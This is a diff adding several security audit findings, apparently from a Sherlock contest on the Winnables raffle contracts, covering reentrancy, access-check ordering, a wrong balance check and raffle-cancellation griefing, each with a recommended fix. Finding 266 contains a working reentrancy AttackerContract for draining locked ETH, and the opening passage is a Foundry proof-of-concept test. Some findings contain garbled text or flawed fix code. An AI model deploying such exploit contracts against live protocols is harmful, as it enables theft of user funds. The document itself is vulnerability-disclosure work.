0.8.24; + +import {Test} from "forge-std/Test.sol"; + +import {WinnablesTicketManager} from "../../contracts/WinnablesTicketManager.sol"; +import {WinnablesTicket} from "../../contracts/WinnablesTicket.sol"; +import {WinnablesPrizeManager} from "../../contracts/WinnablesPrizeManager.sol"; + +import {CCIPLocalSimulatorFork, Register} from "@chainlink/local/src/ccip/CCIPLocalSimulatorFork.sol"; + +contract TestCancelRaffle is Test { + WinnablesTicketManager ticketManager; + WinnablesTicket tickets; + WinnablesPrizeManager prizeManager; + + CCIPLocalSimulatorFork public ccipLocalSimulatorFork; + + Register.NetworkDetails mainnetNetworkDetails; + Register.NetworkDetails avalancheNetworkDetails; + + address admin = makeAddr("admin"); + address user = makeAddr("user"); + + uint256 mainnetFork; + uint256 avalancheFork; + // Avalanche FUJI VRF config + address vrfCoordinator = 0x5C210eF41CD1a72de73bF76eC39637bB0d3d7BEE; + bytes32 keyHash = 0xc799bd1e3bd4d1a41cd4968997a4e03dfd2a3c7c04b695881138580163f42887; + uint64 subscriptionId = 2828; + + function setUp() external { + // fork + mainnetFork = vm.createFork(vm.envString("ETHEREUM_SEPOLIA_RPC")); + avalancheFork = vm.createFork(vm.envString("AVALANCHE_FUJI_RPC")); + // ccip local + vm.selectFork(mainnetFork); + ccipLocalSimulatorFork = new CCIPLocalSimulatorFork(); + vm.makePersistent(address(ccipLocalSimulatorFork)); + mainnetNetworkDetails = ccipLocalSimulatorFork.getNetworkDetails(block.chainid); + vm.selectFork(avalancheFork); + avalancheNetworkDetails = ccipLocalSimulatorFork.getNetworkDetails(block.chainid); + // deploy contracts + // mainnet + vm.selectFork(mainnetFork); + vm.startPrank(admin); + prizeManager = new WinnablesPrizeManager(mainnetNetworkDetails.linkAddress, mainnetNetworkDetails.routerAddress); + ccipLocalSimulatorFork.requestLinkFromFaucet(address(prizeManager), 1 ether); + vm.stopPrank(); + // avalanche + vm.selectFork(avalancheFork); + vm.startPrank(admin); + tickets = new WinnablesTicket(); + ticketManager = new WinnablesTicketManager( + avalancheNetworkDetails.linkAddress, + vrfCoordinator, + subscriptionId, + keyHash, + address(tickets), + avalancheNetworkDetails.routerAddress + ); + ticketManager.setCCIPCounterpart(address(prizeManager), mainnetNetworkDetails.chainSelector, true); + ccipLocalSimulatorFork.requestLinkFromFaucet(address(ticketManager), 1 ether); + vm.stopPrank(); + } + + function testCancelRaffle() public { + vm.selectFork(mainnetFork); + deal(address(prizeManager), 10 ether); + vm.startPrank(admin); + prizeManager.setCCIPCounterpart(address(ticketManager), avalancheNetworkDetails.chainSelector, true); + // lockETH and send massage to destination chain + prizeManager.lockETH(address(ticketManager), avalancheNetworkDetails.chainSelector, 1, 1 ether); // raffleId = 1 + vm.stopPrank(); + ccipLocalSimulatorFork.switchChainAndRouteMessage(avalancheFork); + vm.selectFork(avalancheFork); + assertEq(ticketManager.shouldCancelRaffle(1), true); // raffleId = 1 + vm.startPrank(user); + // cancel raffle and send massage to source chain + ticketManager.cancelRaffle(address(prizeManager), mainnetNetworkDetails.chainSelector, 1); // raffleId = 1 + vm.stopPrank(); + ccipLocalSimulatorFork.switchChainAndRouteMessage(mainnetFork); + } +} +``` +4. forge test + +### Mitigation + +When the raffle status is `PRIZE_LOCKED`, cancellation of the raffle is not allowed. +```diff + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +- if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` \ No newline at end of file diff --git a/001/259.md b/001/259.md new file mode 100644 index 0000000..3e40933 --- /dev/null +++ b/001/259.md @@ -0,0 +1,42 @@ +Shiny Peach Crocodile + +Medium + +# Incorrect balance check in `WinnablesTicketManager::withdrawTokens` + +## Summary +The `withdrawTokens` function in the `WinnablesTicketManager.sol` contract incorrectly checks if the withdrawal amount is less than the contract's token balance, which causes the function to revert when it should not. This error prevents the proper withdrawal of tokens. + +## Vulnerability Detail +The function `withdrawTokens` is intended to allow an admin to withdraw tokens that were accidentally sent to the contract. However, the logic used to check the token balance is flawed: + +```solidity +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount < balance) revert InsufficientBalance(); // @audit incorrect check + token.safeTransfer(msg.sender, amount); + } +``` +This condition incorrectly reverts when `amount` is less than `balance`, which is the opposite of the intended check. The correct logic should ensure that the function reverts only when the requested withdrawal amount exceeds the available token balance. + +If the `amount` is larger than the `balance`, the check `if (amount < balance)` will be false, so it will not revert at this step; however when the code reaches `token.safeTransfer(msg.sender, amount);`, the `safeTransfer` function will attempt to transfer more tokens than the contract holds. Since the `safeTransfer` function includes internal checks to prevent such a transfer, it will cause the transaction to revert, preventing the withdrawal. + +The only time tokens can be withdrawn is when `amount == balance`. + +## Impact +- **Functionality Impact:** The current implementation prevents withdrawals even when there is a sufficient balance of tokens in the contract. This would hinder the admin's ability to manage tokens within the contract. The current revert message would also be misleading, potentially confusing the admin. + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297 + +## Tool used +Manual Review + +## Recommendation +Modify the balance check to ensure that the function only reverts when the requested amount exceeds the available token balance. The corrected code should be: +```solidity +uint256 balance = token.balanceOf(address(this)); +if (amount > balance) revert InsufficientBalance(); +``` +This change ensures that withdrawals are properly processed when there is a sufficient balance, and only reverts when the contract does not have enough tokens to fulfill the withdrawal request. \ No newline at end of file diff --git a/001/260.md b/001/260.md new file mode 100644 index 0000000..268ab74 --- /dev/null +++ b/001/260.md @@ -0,0 +1,53 @@ +Blunt Smoke Crane + +Medium + +# Winners of raffles who use account abstraction wallets won't be able to claim their rewards. + +### Summary + +Users who use account abstraction wallets and win a raffle won't be able to claim their rewards via the [claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) function. Account abstraction wallets are, by design, unique smart contract instances deployed on individual chains. While users can create account abstraction wallets on different chains, they ultimately have distinct account addresses. Since account abstraction wallets are on the rise, with Safe having almost 6M users (disregarding other Account Abstraction wallet "providers"), this is a very plausible scenario that should be taken into consideration. +The ``WinnablesPrizeManager.sol`` contract is going to be deployed on Ethereum and the ``WinnablesTicketManager.sol`` and ``WinnablesTicket.sol`` contracts are going to be deployed on Avalance. When a winner for a raffle is drawn, the [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function has to be called: +```solidity + function propagateRaffleWinner(address prizeManager, uint64 chainSelector, uint256 raffleId) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.FULFILLED) revert InvalidRaffleStatus(); + raffle.status = RaffleStatus.PROPAGATED; + address winner = _getWinnerByRequestId(raffle.chainlinkRequestId); + + _sendCCIPMessage(prizeManager, chainSelector, abi.encodePacked(uint8(CCIPMessageType.WINNER_DRAWN), raffleId, winner)); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + unchecked { + _lockedETH -= raffle.totalRaised; + } + } +``` +The [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function internally calls the [_getWinnerByRequestId()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L472-L477) function which returns the address that owns the winning NFT ID at Avalance, this address will be set as the winner of the raffle in the ``WinnablesPrizeManager.sol`` contract on Ethreum. +The address of the owner of the winning NFT on Avalanche may not exist on Ethereum or be controlled by someone else. +### Root Cause + +The possible use of account abstraction wallets is overlooked by the Winnables team. + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +1. Winner of a raffle has to use an account abstraction wallet. + +### Attack Path + +_No response_ + +### Impact + +Users who use account abstraction wallets and win a raffle won't be able to claim their rewards via the [claimPrize()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124) function. The prize will be forever locked in the ``WinnablePrizeManager.sol`` contract. + +### PoC + +_No response_ + +### Mitigation + +Consider allowing only the winner of a certain raffle to call the [propagateRaffleWinner()](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) function and set an address that he wants as the winner of the raffle. \ No newline at end of file diff --git a/001/261.md b/001/261.md new file mode 100644 index 0000000..2036436 --- /dev/null +++ b/001/261.md @@ -0,0 +1,121 @@ +Abundant Leather Cow + +High + +# [High] - Reentrancy in the `claimPrize` function allows an attacker to drain funds, tokens, from the contract. + +## Summary +The `WinnablesPrizeManager.sol::claimPrize` function is vulnerable to reentrancy attacks at various points in the code. An attacker can reenter the function before the raffle's claimed state is updated, leading to a reentrancy attack. + +## Vulnerability Detail +The `claimPrize` function does not follow the Check-Effects-Interactions (CEI) pattern, as the status of the raffle is checked and updated after the interactions part of the function. +```solidity +if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; +``` +This creates an opportunity for an attacker to reenter the function during external calls within the function, such as in Ether transfers, token transfers. +For example, during an Ether transfer, the attacker will reenter the function through the external call:- +```solidity +_sendETHPrize(_ethRaffles[raffleId], msg.sender); +``` + +## Impact + +A reentrancy attack can result in the contract losing funds, tokens, and NFTs. +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105 +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { + _tokensLocked[raffle.tokenAddress] -= raffle.amount; + } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { + _ethLocked -= _ethRaffles[raffleId]; + } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else { + revert InvalidRaffle(); + } + + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +## Proof of Concept + +The raffle's claimed status is checked and updated at the end of the claimPrize function, creating an opportunity for an attacker to reenter the function and withdraw funds before the status is updated. + +The attack goes like this for `raffleType == RaffleType.ETH`-> +the `_ethLocked` variable stored all the ether that is locked by all the raffleIds in the contract to distribute as prize. +```solidity +_ethLocked -= _ethRaffles[raffleId]; +``` +Additionally, failing to reset the fund amount associated with a raffle ID after withdrawal can allow an attacker to repeatedly claim funds for the same raffle. +The winner of the raffle can withdraw the prize from the contract, potentially allowing them to reenter the function through an external call +```solidity +_sendETHPrize(_ethRaffles[raffleId], msg.sender); +``` + +Both the check for a claimed raffle and the update of the raffle's claimed status occur after the external call to transfer the prize, attacker can claim the prize multiple times. + +```solidity +if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; +``` + +## Tool used + +Manual Review + +## Recommendation +the following changes can be done to prevent the attack :- +1. +```diff +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { + _tokensLocked[raffle.tokenAddress] -= raffle.amount; + } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { + _ethLocked -= _ethRaffles[raffleId]; + } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else { + revert InvalidRaffle(); + } + +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +2. To prevent reentrancy attacks, incorporating OpenZeppelin's ReentrancyGuard contract and applying the nonReentrant modifier to the claimPrize function is recommended. + diff --git a/001/262.md b/001/262.md new file mode 100644 index 0000000..d1d194b --- /dev/null +++ b/001/262.md @@ -0,0 +1,46 @@ +Refined Violet Tardigrade + +High + +# Misplaced Winner Check in `WinnablesPrizeManager::claimPrize` function, causes everyone can claimPrizes + +## Description + +In the `WinnablesPrizeManager::claimPrize` function, the validation to ensure that the caller is the actual winner of the raffle occurs after the prize has already been transferred. This sequence does not follow the Checks-Effects-Interactions (CEI) pattern, where checks should occur before any state changes or external calls. As a result, an unauthorized user could exploit this vulnerability to claim the prize without being the legitimate winner. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L103C1-L124C6 + +## Impact + +An unauthorized user could falsely claim prizes intended for the actual raffle winners. This could result in significant financial loss, damage to the protocol’s reputation, and loss of trust from users. + +## Tool used +Manual Review + +## Recommendation + +Rearrange the code to follow the CEI pattern by moving the validation of the winner to the beginning of the function. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L103C1-L124C6 +```diff +function claimPrize(uint256 raffleId) external { ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } + +``` diff --git a/001/263.md b/001/263.md new file mode 100644 index 0000000..40fb5ba --- /dev/null +++ b/001/263.md @@ -0,0 +1,58 @@ +Refined Violet Tardigrade + +High + +# Reentrancy Vulnerability in `WinnablesPrizeManager::claimPrize` function can cause drain of protocol funds. + +## Description + +The `WinnablesPrizeManager::claimPrize` function in the smart contract allows winner to claim his prizes from a raffle. Depending on the raffle type, the function sends different prizes, such as NFTs, tokens, or ETH, to the caller. However, the function is vulnerable to a reentrancy attack because it updates the contract's state after sending the prizes. The state update for the raffle prize is performed at the end of the function, which is too late to prevent a reentrancy attack. This timing allows a malicious actor to repeatedly call the `WinnablesPrizeManager::claimPrize` function before the state is updated, potentially draining the contract of its assets. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L103C1-L124C6 + +## Impact + +A malicious actor could exploit this vulnerability by calling the `WinnablesPrizeManager::claimPrize` function repeatedly before the state variables (like `rafflePrize.status`) are updated, allowing them to drain the contract of its assets. This could result in significant financial loss, as the attacker could claim multiple prizes or the same prize multiple times, draining all available NFTs, tokens, or ETH held by the contract. + +## Tool used +Manual Review + +## Recommendation + +To prevent reentrancy attacks, it is recommended to follow these mitigation steps: + +1. Check-Effects-Interactions Pattern: Ensure that all state changes (e.g., updating rafflePrize.status to CLAIMED) occur before any external calls (e.g., transferring NFTs, tokens, or ETH). This approach prevents reentrancy by ensuring that the contract's state is correctly updated before any external interactions are made. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L103C1-L124C6 +```diff + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } + +``` + +2. Use Reentrancy Guard: Apply the nonReentrant modifier from OpenZeppelin's ReentrancyGuard contract to the `WinnablesPrizeManager::claimPrize` function to prevent any reentrant calls. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L103C1-L124C6 +```diff +function claimPrize(uint256 raffleId) external ++ nonReentrant +{ + ... +} +``` diff --git a/001/264.md b/001/264.md new file mode 100644 index 0000000..26afb0a --- /dev/null +++ b/001/264.md @@ -0,0 +1,103 @@ +Broad Red Skunk + +High + +# All the raffle events can be cancelled by the attacker + +## Summary +Due to validation check in execution flow, an attacker can easily cancel all the raffles just after locking prize event emitted. +## Vulnerability Detail + +Based on the execution flow, firstly, the prize of the raffle have to be locked in the prize manager contract + +Let say our admin locked a NFT to prize manager +```solidity + function lockNFT( + address ticketManager, + uint64 chainSelector, + uint256 raffleId, + address nft, + uint256 tokenId + ) external onlyRole(0) { + RafflePrize storage rafflePrize = _checkValidRaffle(raffleId); + if (IERC721(nft).ownerOf(tokenId) != address(this)) revert InvalidPrize(); + if (_nftLocked[nft][tokenId]) revert InvalidPrize(); + rafflePrize.raffleType = RaffleType.NFT; + _nftLocked[nft][tokenId] = true; + _nftRaffles[raffleId].contractAddress = nft; + _nftRaffles[raffleId].tokenId = tokenId; +&> _sendCCIPMessage(ticketManager, chainSelector, abi.encodePacked(raffleId)); + emit NFTPrizeLocked(raffleId, nft, tokenId); + } +``` + +It calls off-chain CCIP message sender in order to send prize data to ticket manager contract at Avalanche. Then CCIP will call receive function on ticket manager contract: + +```solidity + function _ccipReceive( + Client.Any2EVMMessage memory message + ) internal override { + (address _senderAddress) = abi.decode(message.sender, (address)); + bytes32 counterpart = _packCCIPContract(_senderAddress, message.sourceChainSelector); + if (!_ccipContracts[counterpart]) revert UnauthorizedCCIPSender(); + (uint256 raffleId) = abi.decode(message.data, (uint256)); + if (_raffles[raffleId].status != RaffleStatus.NONE) { + // The raffle cannot be created, send back a cancel message to unlock the prize + _sendCCIPMessage( + _senderAddress, + message.sourceChainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + return; + } +&> _raffles[raffleId].status = RaffleStatus.PRIZE_LOCKED; + + emit RafflePrizeLocked( + message.messageId, + message.sourceChainSelector, + raffleId + ); + } +``` + +At this point, raffle status is set as PRIZE_LOCKED state and now attacker can call cancel function: + +```solidity + function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { +&> _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } + ``` + + The requirements for calling cancelRaffle() function is checked in _checkShouldCancel() function. + +```solidity + function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +&> if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +Now, this if statement will return without error and the raffle is cancelled. + +## Impact +All the raffles can be easily sabotageable + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L434 + +## Tool used +Manual Review + +## Recommendation +Adding validation to cancel functionality can solve the problem. \ No newline at end of file diff --git a/001/265.md b/001/265.md new file mode 100644 index 0000000..e713f42 --- /dev/null +++ b/001/265.md @@ -0,0 +1,51 @@ +Itchy Chrome Mockingbird + +High + +# WinnablesPrizeManager::claimPrize does not follow CEI, leading to reentrancy attacks + +### Summary + +The claimPrize function does not follow checks-effects-interactions. The following code is placed at the end of the function +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L103-L124 +which performs the operation of transferring money first and then checking. This allows the attacker to claim the reward from the contract multiple times. +```solidity +if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; +``` + +### Root Cause + +In `claimPrize.sol:120-122` +This check should be placed at the beginning of the claimPrize function + +### Internal pre-conditions + +The attacker used the contract address to participate in the raffle and became the winnerThe attacker used the contract address to participate in the raffle and became the winnerThe attacker used the contract address to participate in the raffle and became the winner + +### External pre-conditions + +none + +### Attack Path + +1.A malicious attacker can use a contract address (insert a reentrancy attack code in the receive function) to participate in the raffle and become the winner. +2.Malicious attackers call the WinnablesPrizeManager::claimPrize function, which automatically triggers the receive function, causing a reentrancy attack and allowing the attacker to claim the prize multiple times. + +### Impact + +Malicious attackers use reentry attacks to claim reward multiple times + +### PoC + +_No response_ + +### Mitigation + +Following CEI, put the following code at the beginning of the claimPrize function +```solidity +if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +rafflePrize.status = RafflePrizeStatus.CLAIMED; +``` \ No newline at end of file diff --git a/001/266.md b/001/266.md new file mode 100644 index 0000000..9a44647 --- /dev/null +++ b/001/266.md @@ -0,0 +1,118 @@ +Faithful Smoke Hawk + +High + +# Reentrancy will drain all locked ETH in WinnablesPrizeManager + +### Summary + +Sending ETH rewards to a smart contract winner may potentially lead to a reentrancy attack and all locked ETH will be drained. + +### Root Cause + +`claimPrize` function does not follow the CEI(checks-effects-interactions) pattern and lacks a reentrancy guard. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105-L124 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L314-L317 + +### Internal pre-conditions + +1. Attacker (smart contract) is a winner in a `lockETH` raffle. + +### External pre-conditions + +1. Attacker use `create2` to deploy smart contract in ethereum and avalanche with same address. The smart contract code is as follows: +```solidity +// SPDX-License-Identifier: UNLICENSED + +pragma solidity 0.8.24; + +interface IWinnablesTicketManager { + function buyTickets(uint256 raffleId, uint16 ticketCount, uint256 blockNumber, bytes calldata signature) + external + payable; +} + +interface IWinnablesPrizeManager { + function claimPrize(uint256 raffleId) external; + + function getETHRaffle(uint256 id) external view returns (uint256); +} + +contract AttackerContract { + IWinnablesTicketManager ticketManager; + IWinnablesPrizeManager prizeManager; + + uint256 public id; + + constructor(address _ticketManager, address _prizeManager) { + ticketManager = IWinnablesTicketManager(_ticketManager); + prizeManager = IWinnablesPrizeManager(_prizeManager); + } + + receive() external payable { + if (address(prizeManager).balance > prizeManager.getETHRaffle(id)) { + prizeManager.claimPrize(id); + } + } + + function buyTickets(uint256 raffleId, uint16 ticketCount, uint256 blockNumber, bytes calldata signature) external { + ticketManager.buyTickets(raffleId, ticketCount, blockNumber, signature); + } + + function claimPrize(uint256 raffleId) external { + id = raffleId; + prizeManager.claimPrize(id); + } +} +``` + +### Attack Path + +1. Attacker call smart contract function `buyTickets` in avalanche +2. Attacker(smart contract) is a winner +3. Attacker call smart contract function `claimPrize` in ethereum + +### Impact + +All locked ETH are drained. + +### PoC + +_No response_ + +### Mitigation + +Two ways: +1. follow CEI pattern +```diff + function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; ++ if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { + _tokensLocked[raffle.tokenAddress] -= raffle.amount; + } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { + _ethLocked -= _ethRaffles[raffleId]; + } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else { + revert InvalidRaffle(); + } +- if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); +- if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); +- rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` +2. Add reentrancy guard \ No newline at end of file diff --git a/001/267.md b/001/267.md new file mode 100644 index 0000000..e3effb0 --- /dev/null +++ b/001/267.md @@ -0,0 +1,34 @@ +Refined Violet Tardigrade + +High + +# In `WinnablesTicketManager::withdrawTokens` Function Can Withdraw Locked Tokens Reserved for Raffles, Preventing Raffle Winners from Claiming Prizes + +## Description + +The `WinnablesTicketManager::withdrawTokens` function allows an admin with the appropriate role to withdraw ERC20 tokens held by the contract. However, this function only verifies whether the withdrawal amount is less than the contract's total token balance. It does not account for tokens that should be locked and reserved for ongoing raffles. Consequently, an admin could unintentionally or maliciously withdraw tokens that are meant to be locked, compromising the integrity of the raffle system. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L290C3-L297C6 + +## Impact + +AIf locked tokens are withdrawn, the contract may no longer have sufficient tokens to fulfill the obligations of ongoing raffles. This could result in raffle winners being unable to claim their prizes, leading to financial loss and a significant erosion of trust in the platform. + +## Tool used +Manual Review + +## Recommendation + +Modify the withdrawTokens function to subtract the amount of locked tokens from the contract’s total balance before allowing any withdrawal. Ensure that the function checks whether the remaining balance (after considering locked tokens) is sufficient to fulfill the withdrawal request. Implement a similar approach as seen in the withdrawETH function, where _lockedETH is subtracted from the contract's balance before withdrawals. +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L290C3-L297C6 + +```diff + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); +- uint256 balance = token.balanceOf(address(this)); ++ uint256 balance = token.balanceOf(address(this))-_tokensLocked[token]; + if (amount < balance) revert InsufficientBalance(); + token.safeTransfer(msg.sender, amount); + } +``` + + diff --git a/001/268.md b/001/268.md new file mode 100644 index 0000000..3a259c0 --- /dev/null +++ b/001/268.md @@ -0,0 +1,57 @@ +Strong Sangria Yak + +High + +# Incorrect Bitwise Operation in `_packCCIPContract` Function Leads to `_ccipReceive` Reverts + +### Summary + +The incorrect bitwise operation in the `_packCCIPContract` function will cause the `counterpart` identifier to be generated improperly. This results in the `_ccipReceive` function failing to validate the CCIP (Cross-Chain Interoperability Protocol) contract, leading to a complete failure to initiate the raffle process when a message is received. + +### Root Cause + +In [`BaseCCIPContract.sol`](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40C1-L46C2), the bitwise operation used to pack the `contractAddress` and `chainSelector` into a 